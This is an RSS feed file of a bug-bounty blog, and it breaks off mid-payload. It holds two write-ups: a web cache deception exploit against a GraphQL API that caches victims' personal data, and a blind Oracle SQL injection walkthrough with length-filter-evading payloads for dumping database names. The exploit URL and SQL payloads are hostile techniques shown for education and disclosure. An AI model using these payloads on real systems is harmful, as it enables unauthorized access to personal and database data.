/
index.xml
1575 lines (1554 loc) · 206 KB
/
index.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>kuldeepdotexe's blog</title>
<link>https://kuldeep.io/</link>
<description>Recent content on kuldeepdotexe's blog</description>
<generator>Hugo -- gohugo.io</generator>
<language>en</language>
<lastBuildDate>Fri, 29 Dec 2023 14:55:26 +0530</lastBuildDate><atom:link href="https://kuldeep.io/index.xml" rel="self" type="application/rss+xml" />
<item>
<title>Cache Deception Without Path Confusion</title>
<link>https://kuldeep.io/posts/web-cache-deception-without-path-confusion/</link>
<pubDate>Fri, 29 Dec 2023 14:55:26 +0530</pubDate>
<guid>https://kuldeep.io/posts/web-cache-deception-without-path-confusion/</guid>
<description>Hello readers,
Today, we’ll talk about a unique case of a cache deception vulnerability that I found in one of the Synack Red Team targets. I call this particular case of cache deception vulnerability unique because unlike the usual cache deception exploits, this exploit did not rely on path confusion.
Unlike my other blogs, I have decided to explain some of the basics in this one because the little details are fascinating!</description>
<content><p>Hello readers,</p>
<p>Today, we’ll talk about a unique case of a cache deception vulnerability that I found in one of the Synack Red Team targets. I call this particular case of cache deception vulnerability unique because unlike the usual cache deception exploits, this exploit did not rely on path confusion.</p>
<p>Unlike my other blogs, I have decided to explain some of the basics in this one because the little details are fascinating!</p>
<p>Let’s break down the blog into smaller chunks so that we can take one bite at a time.</p>
<ul>
<li><a href="https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#the-basics">The Basics</a>
<ul>
<li><a href="https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#path-confusion">Path Confusion</a></li>
<li><a href="https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#web-caching">Web Caching</a></li>
<li><a href="https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#cache-keys">Cache Keys</a></li>
<li><a href="https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#web-cache-deception">Web Cache Deception</a>
<ul>
<li><a href="https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#discovery">Discovery</a></li>
<li><a href="https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#exploit">Exploit</a></li>
<li><a href="https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#limitations">Limitations</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#wcd-on-a-synack-target">WCD On A Synack Target</a>
<ul>
<li><a href="https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#initial-observations">Initial Observations</a></li>
<li><a href="https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#crafting-the-exploit">Crafting The Exploit</a></li>
</ul>
</li>
</ul>
<h1 id="the-basics">The Basics</h1>
<p>Before going to the specifics of the vulnerability, I would like to elaborate more on the terminologies and techniques that we will use in this blog.</p>
<h2 id="path-confusion">Path Confusion</h2>
<p>Path confusions occur when the application is not configured properly to distinguish between different paths. In a nutshell— it is when two different paths are interpreted as the same path by the application. Similar to what happens in a hash collision.</p>
<p>Let’s take an example. Suppose you request the following URL:</p>
<pre tabindex="0"><code>https://kuldeep.io/account/billing
</code></pre><p>Everything is okay and you go to the billing page of your account. Now, you visit a second URL:</p>
<pre tabindex="0"><code>https://kuldeep.io/account/billing/nonexistent.js
</code></pre><p>In an ideal scenario, visiting this URL should result in a <code>404 Not Found</code> because the JS file that we requested does not exist on the web server.</p>
<p>However, due to a misconfiguration in how the application processes paths/routes, the application takes you to the billing page of your account.</p>
<p>This is path confusion— two different paths interpreted as the same.</p>
<p>So many talks on a topic that I did not even use in my final exploit.</p>
<h2 id="web-caching">Web Caching</h2>
<p>Processing webpages is a resource-intensive task. When you send a request to, for example, a server running PHP, the server runs the PHP code and provides you with the response.</p>
<p>This is useful in cases when you are working with dynamic data like user profile information or financial information. However, you do not want the server to process requests to the homepage, or a header/footer, or a static file because as we discussed earlier, it is a resource-intensive task.</p>
<p>Static files might not take that many resources as compared to the application code but the server still needs to process those requests one-by-one.</p>
<p>This problem can be solved using <strong>web caching</strong>.</p>
<p>Web caching is when a front-end server caches the response and serves it to the visitors of the website without relying on the back-end server. This can be explained with the following illustration:</p>
<p><img src="https://kuldeep.io/web-caching.png" alt="web caching.png"></p>
<p>When a response is served from the cache, you will likely see the following response headers indicating this:</p>
<pre tabindex="0"><code>X-Cache: HIT
X-CDN-Cache: HIT
</code></pre><p>A <strong>HIT</strong> means that the response is served from the cache. When it is the otherwise, you will see a <strong>MISS</strong> instead of <strong>HIT</strong>.</p>
<p>Please note that the response header names are likely to vary.</p>
<p>How does the front-end server know when to cache the request? It makes use of <strong>cache keys</strong>!</p>
<h2 id="cache-keys">Cache Keys</h2>
<p>Cache keys are a number of factors that determine whether or not the request will be cached. Usually, cache keys comprise the URL, the user agent, and the user region. Cache keys can be customized to cache based on specific conditions.</p>
<p>Different front-end servers have different mechanisms for configuring cache keys. Nevertheless, the basic concept stays the same.</p>
<h2 id="web-cache-deception">Web Cache Deception</h2>
<p>In the <strong>Web Caching</strong> section, we saw that the front-end server can be configured to cache specific responses. This raises a question— <em>what if we cache responses that should not be cached?</em></p>
<p>Usually, only the static resources are cached. But if we could somehow cache the responses that contain sensitive data like cookies or session identifiers or JSON Web Tokens or PII, it would be awesome or scary depending on what side you are on.</p>
<p><strong>Web Cache Deception</strong> attacks occur when an attacker forces the front-end server to cache sensitive data and then retrieve it from the cache.</p>
<h3 id="discovery">Discovery</h3>
<p>The very first step towards discovering a WCD vulnerability is to log in to the target application as a normal user and make notes of interesting endpoints.</p>
<p>What makes an endpoint interesting? Well, it highly depends on the nature of the application. For example, if it is a betting application, maybe knowing how many bets you have made might be interesting. If it is a banking application, most of the endpoints might be interesting because you do not want anyone to know your bank details. All-in-all, we can all agree that all endpoints that disclose PII are sensitive.</p>
<p>While doing this, make sure that the endpoints that you come across are using <strong>cookies</strong> as the authentication mechanism instead of bearer tokens. Why is this important will be covered in the exploitation section.</p>
<p>Once you have a vast list of interesting endpoints, you can check for path confusion misconfigurations. While doing this, check the response for cache-related headers to see if you see any cache <strong>HIT</strong>s.</p>
<p>For this, I would suggest reading this awesome write-up by <a href="https://twitter.com/bxmbn">Bombon</a>: <a href="https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9">https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9</a></p>
<p>If you see any cache HITs in the interesting endpoints, it can likely be exploited.</p>
<p>Why do we see cache HITs? Because front-end servers might be configured to cache JS files, CSS files, images, etc. And because we are using path confusion, the front-end server will treat it as a JS file or a CSS depending on what extension you chose. However, the backend server will treat it as a normal request because routing is misconfigured.</p>
<h3 id="exploit">Exploit</h3>
<p>Once you have found that an interesting endpoint is resulting in a cache HIT, it is time to craft the exploit.</p>
<p>Let’s assume that we have found that <code>[https://kuldeep.io/account/billing/nonexistent.js](https://kuldeep.io/account/billing/nonexistent.js)</code> results in a cache HIT. We have also confirmed that the web application is using cookies as the authentication mechanism. Let’s convert this to an exploit.</p>
<ol>
<li>Send this URL to the victim: <a href="https://kuldeep.io/account/billing/nonexistent.js">https://kuldeep.io/account/billing/nonexistent.js</a></li>
<li>Once the victim visits the URL from his/her authenticated session, the backend server will respond with the billing information. The front-end server will cache the response because it believes that the response is coming from a JS file and JS files should be cached.</li>
<li>The attacker will retrieve the billing information by visiting the <a href="https://kuldeep.io/account/billing/nonexistent.js">https://kuldeep.io/account/billing/nonexistent.js</a> URL. Because the response has been cached, the attacker will receive a cached copy from the front-end server. This cached copy includes all the billing information of the victim.</li>
</ol>
<p>Here, if the application used bearer tokens, we cannot exploit this by simply sending the URL to the victim. It would require an XSS to exploit. And if you already have an XSS, there is no point exploiting WCD.</p>
<h3 id="limitations">Limitations</h3>
<ul>
<li>WCD will not work if the user isn’t logged in.</li>
<li>It will not work if the application is using bearer tokens as the authentication mechanism.</li>
<li>In some configurations, the cache will only be served if you are in the same region as the victim.</li>
<li>If you accidentally visit the URL that you sent to the victim, the victim will receive the cached copy instead of you.</li>
<li>Even if you get the victim to cache his/her response, the cache may get invalidated after a few seconds or minutes.</li>
</ul>
<p>Now that we have covered the basics, let’s move to the WCD vulnerability that I found in one of the Synack targets.</p>
<h1 id="wcd-on-a-synack-target">WCD On A Synack Target</h1>
<h2 id="initial-observations">Initial Observations</h2>
<p>I was onboarded to a target where some SRTs had already submitted some vulnerabilities like information disclosures and a few access controls.</p>
<p>I connected to the target and started traversing the application like a normal user. Wherever possible, I was checking for SQL injections. While doing this, I noticed the static files were served from a GraphQL API. This was unusual.</p>
<p>I checked what API the application used for dynamic data. To my surprise, it used the same GraphQL API for both, static and dynamic data.</p>
<p>To retrieve static content, the application used a URL like this:</p>
<pre tabindex="0"><code>/ui-gateway/v1/graphql?query=query{somequery{someattribute}}&amp;reqIdentifier=someReqIdentifier
</code></pre><p>In the response header, I noticed that the responses were being cached. I came to this conclusion by seeing the following headers:</p>
<pre tabindex="0"><code>X-Served-By: cache-iad-somethingrandom-IAD
X-Cache: HIT
X-Cache-Hits: 1
</code></pre><p>To retrieve dynamic content, the application sent a <strong>POST</strong> request to the GraphQL API. Unlike the GET requests, the POST requests did not get cached.</p>
<p>I thought about converting the POST requests to GET requests to see if they got cached. For this, I used an <strong>interesting</strong> query that is as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-graphql" data-lang="graphql"><span style="display:flex;"><span><span style="color:#66d9ef">query</span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">userDetails</span> {
</span></span><span style="display:flex;"><span> authStatus {
</span></span><span style="display:flex;"><span> authType
</span></span><span style="display:flex;"><span> email
</span></span><span style="display:flex;"><span> firstName
</span></span><span style="display:flex;"><span> lastName
</span></span><span style="display:flex;"><span> roles
</span></span><span style="display:flex;"><span> userId
</span></span><span style="display:flex;"><span> userLogin
</span></span><span style="display:flex;"><span> birthDate
</span></span><span style="display:flex;"><span> isUnderAgeUser
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> geoLocation
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This query returns the PII of the currently logged-in user.</p>
<p>I converted it to a GET request. The final URL looked like this:</p>
<pre tabindex="0"><code>/ui-gateway/v1/graphql?query=query{userDetails{authStatus{authType email firstName lastName roles userId userLogin birthDate isUnderAgeUser}geoLocation}}
</code></pre><p>Excited to see the results, I visited the URL from the browser and checked if the response was cached. Sadly, it was not cached. I could not see any cache HITs.</p>
<p>This made me wonder, <em>how are requests to static queries being cached while dynamic queries aren’t</em>. I sent both of the requests to Burp Suite comparer to see if any special headers determined if the request was cached.</p>
<p>While doing this, I found a crucial parameter that I had overlooked. The <code>reqIdentifier</code> parameter.</p>
<p>The <code>reqIdentifier</code> parameter determined if the request would be cached or not. It was in the cache key. If two requests have the same <code>reqIdentifier</code> parameter, they would be treated as the same requests by the front-end server.</p>
<h2 id="crafting-the-exploit">Crafting The Exploit</h2>
<p>Now that I had a way to get sensitive information cached, I just had to craft an exploit. A malicious URL that I would send to the victim to get his/her PII cached.</p>
<p>I used the previous <code>userDetails</code> query that I had used in a GET request and appended the <code>reqIdentifier</code> parameter. Sending this parameter made sure that the request will be cached.</p>
<p>The final exploit URL looked like this:</p>
<pre tabindex="0"><code>/ui-gateway/v1/graphql?query=query{userDetails{authStatus{authType email firstName lastName roles userId userLogin birthDate isUnderAgeUser}geoLocation}}&amp;reqIdentifier=exploitMe
</code></pre><p>For a proof-of-concept, I opened two browser windows. One was with a logged-in session (victim session), and the other was an incognito window (attacker session).</p>
<p>I opened the exploit URL from the logged-in session. This made sure that the PII was cached by the front-end server. By visiting the URL just once, the front-end server cached the response.</p>
<p>I then opened the same URL from the incognito window and I was greeted with the victim account’s PII. This way, without any sort of authentication, I was able to access a victim account’s confidential details.</p>
<p>I created an easy-to-follow PoC for this exploit and sent it to Synack. And they happily accepted the vulnerability.</p>
<p>Thank you for reading. If you have any queries or doubts, feel free to ping me on <a href="https://twitter.com/kuldeepdotexe">X</a>, <a href="http://instagram.com/kuldeepdotexe">Instagram</a>, or <a href="https://www.linkedin.com/in/kuldeep-pandya-13a26a167/">LinkedIn</a>.</p>
<h1 id="references-and-further-reading">References And Further Reading</h1>
<ul>
<li><a href="https://portswigger.net/daily-swig/path-confusion-web-cache-deception-threatens-user-information-online">https://portswigger.net/daily-swig/path-confusion-web-cache-deception-threatens-user-information-online</a></li>
<li><a href="https://portswigger.net/research/practical-web-cache-poisoning">https://portswigger.net/research/practical-web-cache-poisoning</a></li>
<li><a href="https://bxmbn.medium.com/chaining-cache-deception-poisoning-250ec69774c8">https://bxmbn.medium.com/chaining-cache-deception-poisoning-250ec69774c8</a></li>
<li><a href="https://developers.cloudflare.com/cache/cache-security/cache-deception-armor/">https://developers.cloudflare.com/cache/cache-security/cache-deception-armor/</a></li>
<li><a href="https://www.varnish-software.com/glossary/what-is-web-caching/">https://www.varnish-software.com/glossary/what-is-web-caching/</a></li>
</ul>
<p>Happy Hacking! :)</p>
</content>
</item>
<item>
<title>Defeating Length Filters to Dump the Database - SQLi</title>
<link>https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/</link>
<pubDate>Wed, 06 Dec 2023 20:39:44 +0530</pubDate>
<guid>https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/</guid>
<description>Hello, hackers!
Most SQL injections I find are very trivial and do not require a separate blog post.
However, this particular SQL injection was far from being straightforward. It required me to work more than 13 hours to successfully dump the database. Although some of the tricks that I used for this SQL injection are not new and can be found with a bit of Google search, I learned them the hard way.</description>
<content><p>Hello, hackers!</p>
<p>Most SQL injections I find are very trivial and do not require a separate blog post.</p>
<p>However, this particular SQL injection was far from being straightforward. It required me to work more than 13 hours to successfully dump the database. Although some of the tricks that I used for this SQL injection are not new and can be found with a bit of Google search, I learned them the hard way.</p>
<p>This blog post aims to share with the community what I learned along the way. I will cover my entire thought process and journey from detection to full exploitation of the SQL injection. I hope this walkthrough will be helpful to someone who encounters a similar challenge.</p>
<p>For convenience’s sake, this blog will be organized into sections.</p>
<ol>
<li><a href="https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#discovery">Discovery</a></li>
<li><a href="https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#running-sqlmap-and-discovering-the-balanced-query">Running SQLMap And Discovering The Balanced Query</a></li>
<li><a href="https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#discovering-length-filter">Discovering Length Filter</a></li>
<li><a href="https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#dumping-the-database-name">Dumping The Database Name</a></li>
<li><a href="https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#dumping-the-table-name">Dumping The Table Name</a></li>
<li><a href="https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#finding-a-way-to-use-limits-and-offsets">Finding A Way To Use Limits And Offsets</a></li>
<li><a href="https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#finding-the-shortest-possible-payload">Finding The Shortest Possible Payload</a></li>
<li><a href="https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#successfully-dumping-table-names">Successfully Dumping Table Names</a></li>
<li><a href="https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#guessing-column-names">Guessing Column Names</a></li>
<li><a href="https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#dumping-the-rows">Dumping The Rows</a></li>
</ol>
<p>Strap in for an in-depth look at SQL injections and the methods used.</p>
<h3 id="discovery">Discovery</h3>
<p>A new target was onboarded to me on the Synack Red Team platform. However, it was an old target launched under a new name. No surprise there.</p>
<p>While this target was previously onboarded, I sent a few SQLis. Because of this, I was certain that I could find more SQLis this time.</p>
<p>As usual, I browsed the application like a normal user and checked the requests that the application sent. I tested each request manually for SQL injections.</p>
<p>The &ldquo;manual testing&rdquo; part for me is mostly injecting special characters into different parameters and observing the behavior of the application.</p>
<p>While testing for SQL injection on a particular request, I noticed the following behavior:</p>
<table>
<thead>
<tr>
<th>Payload</th>
<th>Response Length</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>422k Bytes</td>
</tr>
<tr>
<td>'</td>
<td>33k Bytes</td>
</tr>
<tr>
<td>&lsquo;&ndash; -</td>
<td>33k Bytes</td>
</tr>
<tr>
<td>&lsquo;)&ndash; -</td>
<td>422k Bytes</td>
</tr>
</tbody>
</table>
<p>Note: The first value is nothing. It is the normal response the application would send.</p>
<p>This was intriguing behavior. It looked like a potential SQL injection. I tried a few more SQLi payloads, but I couldn’t find the right payload for it.</p>
<h3 id="running-sqlmap-and-discovering-the-balanced-query">Running SQLMap And Discovering The Balanced Query</h3>
<p>To find the correct query, I sent the request to <a href="https://github.com/sqlmapproject/sqlmap">SQLMap</a>. SQLMap successfully discovered the SQL injection and gave me the query that would give me a boolean response.</p>
<p>It gave me the following payload:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#ae81ff">123</span><span style="color:#e6db74">&#39; AND (SELECT (CASE WHEN (4747=4747) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,4747) END) FROM DUAL) IS NULL OR &#39;</span>iTjZ<span style="color:#e6db74">&#39;=&#39;</span>tEus
</span></span></code></pre></div><h3 id="payload-explanation">Payload Explanation</h3>
<ol>
<li><code>SELECT (...) FROM DUAL</code>: This is just a simple <code>SELECT</code> query that encapsulates the underlying <code>CASE...WHEN</code> statement.</li>
<li><code>CASE WHEN (condition) THEN &lt;true statement&gt; ELSE &lt;false statement&gt; END</code>: This section is the most important as <code>CASE...WHEN</code> will execute a <code>true</code> or <code>false</code> statement based on the condition. It is similar to the classic <code>if…else</code> in different programming languages.</li>
<li><code>4747=4747</code>: This is an always true condition as 4747 is always equal to 4747.</li>
<li><code>CTXSYS.DRITHSX.SN(1,4747)</code>: This is a function call to an internal Oracle DBMS function. I could not find much documentation about the function. But in this payload, this function should respond with an error message.</li>
</ol>
<p>So, the payload checks if 4747 is equal to 4747 (which is true) then it selects <code>NULL</code> and compares <code>NULL</code> with <code>NULL</code> (which is also true). This will result in a true response.</p>
<p>If we wanted to receive a false response, we would replace <code>4747=4747</code> with <code>4747=4848</code>.</p>
<p>I now had a working payload. I tried to enumerate the databases using SQLMap. However, SQLMap failed to enumerate the databases.</p>
<p>I was not surprised by this behavior because, during my initial enumeration, I noticed that the server correctly filtered out some characters. These characters included but were not limited to the following:</p>
<ul>
<li><code>&quot;</code></li>
<li><code>#</code></li>
<li>
<pre tabindex="0"><code></code></pre></li>
</ul>
<p>Due to these character filters, SQLMap was unable to enumerate the databases. I decided to do the database dumping by hand.</p>
<p>I simplified the SQLMap&rsquo;s payload to the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#ae81ff">123</span><span style="color:#e6db74">&#39; AND (
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> SELECT (
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> CASE
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> WHEN (1=1) THEN NULL
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ELSE 1/0
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> END
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ) FROM DUAL
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">) IS NULL OR &#39;</span><span style="color:#ae81ff">1</span><span style="color:#e6db74">&#39;=&#39;</span><span style="color:#ae81ff">1</span>
</span></span></code></pre></div><h3 id="discovering-length-filter">Discovering Length Filter</h3>
<p>After doing a little back and forth with the payloads, I realized that some payloads were not acting as they should be.</p>
<p>For example, the following payload resulted in a <code>302 Found</code> response rather than a <code>200 OK</code> response:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#ae81ff">123</span><span style="color:#e6db74">&#39; AND (
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> SELECT (
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> CASE
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> WHEN (12345678901234567890=12345678901234567890) THEN NULL
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ELSE 1/0
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> END
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ) FROM DUAL
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">) IS NULL OR &#39;</span><span style="color:#ae81ff">1</span><span style="color:#e6db74">&#39;=&#39;</span><span style="color:#ae81ff">1</span>
</span></span></code></pre></div><p>Although they are both the same numbers, the server was resulting in a <code>302 Found</code> response. Usually, the server responded in a <code>302 Found</code> response when we sent a character that the server was filtering.</p>
<p>However, we did not send any bad characters in this payload. The <code>1=1</code> payload was found to be working previously.</p>
<p>I changed the condition from <code>12345678901234567890=12345678901234567890</code> to <code>1234567890=1234567890</code> and the server returned <code>200 OK</code> with a <code>true</code> response.</p>
<p>This was evident that something weird happened when we sent a large payload. There must be some sort of length filter on the backend that prevents us from sending long payloads.</p>
<p>After adding one character at a time, I figured out that if we send any more characters than <strong>120</strong>, the server would not process the request and we would receive a <code>302 Found</code> response. Whatever payload we use must be less than or equal to 120 characters.</p>
<p>I tried to see ways in which I could shorten the payload. I learned that we can replace <code>NULL</code> with <code>1</code> in the payload and it will work just fine. The resulting <em>shorter</em> payload was:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#e6db74">&#39; AND (
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> SELECT (
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> CASE
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> WHEN (1=1) THEN 1
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ELSE 1/0
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> END
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ) FROM DUAL
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">)=1 OR &#39;</span><span style="color:#ae81ff">1</span><span style="color:#e6db74">&#39;=&#39;</span><span style="color:#ae81ff">1</span>
</span></span></code></pre></div><p>We moved from requiring 86 characters to 74 characters! Excellent!</p>
<p>I suspected that the <code>SELECT</code> statement around the <code>CASE...WHEN</code> statement was necessary. I tried removing it and it turns out that it was optional! We can directly use <code>CASE...WHEN</code> without wrapping it using <code>SELECT</code>. Our payload was even shorter now.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#e6db74">&#39; AND (
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> CASE
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> WHEN (1=2) THEN 1
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ELSE 1/0
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> END
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">)=1 OR &#39;</span><span style="color:#ae81ff">1</span><span style="color:#e6db74">&#39;=&#39;</span><span style="color:#ae81ff">1</span>
</span></span></code></pre></div><p>This payload was merely 55 characters long!</p>
<h3 id="dumping-the-database-name">Dumping The Database Name</h3>
<p>It was now time to enumerate the database names. My strategy to dump the database name was as follows:</p>
<ol>
<li>Find out the length of the current database name. We will refer to the length of the database as <code>len</code>.</li>
<li>Use a substring payload where the <code>SUBSTR()</code> function starts from the first character of the database and goes till <code>len</code>.</li>
<li>Enumerate one character at a time.</li>
</ol>
<p>To determine the database length, I used the following payload:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#e6db74">&#39; AND (
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> CASE
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> WHEN ((SELECT LENGTH(SYS.DATABASE_NAME) FROM DUAL)&gt;0) THEN 1
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ELSE 1/0
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> END
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">)=1 OR &#39;</span><span style="color:#ae81ff">1</span><span style="color:#e6db74">&#39;=&#39;</span><span style="color:#ae81ff">1</span>
</span></span></code></pre></div><p>The above payload checks if the length of the current database name is greater than 0. This is true for any database name. Hence, we get a <code>true</code> response.</p>
<p>By increasing one number at a time, we get to know that the database name is exactly <strong>6</strong> characters long.</p>
<p>To dump the database name, I used a <code>SUBSTR()</code> payload that looks like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#e6db74">&#39; AND (
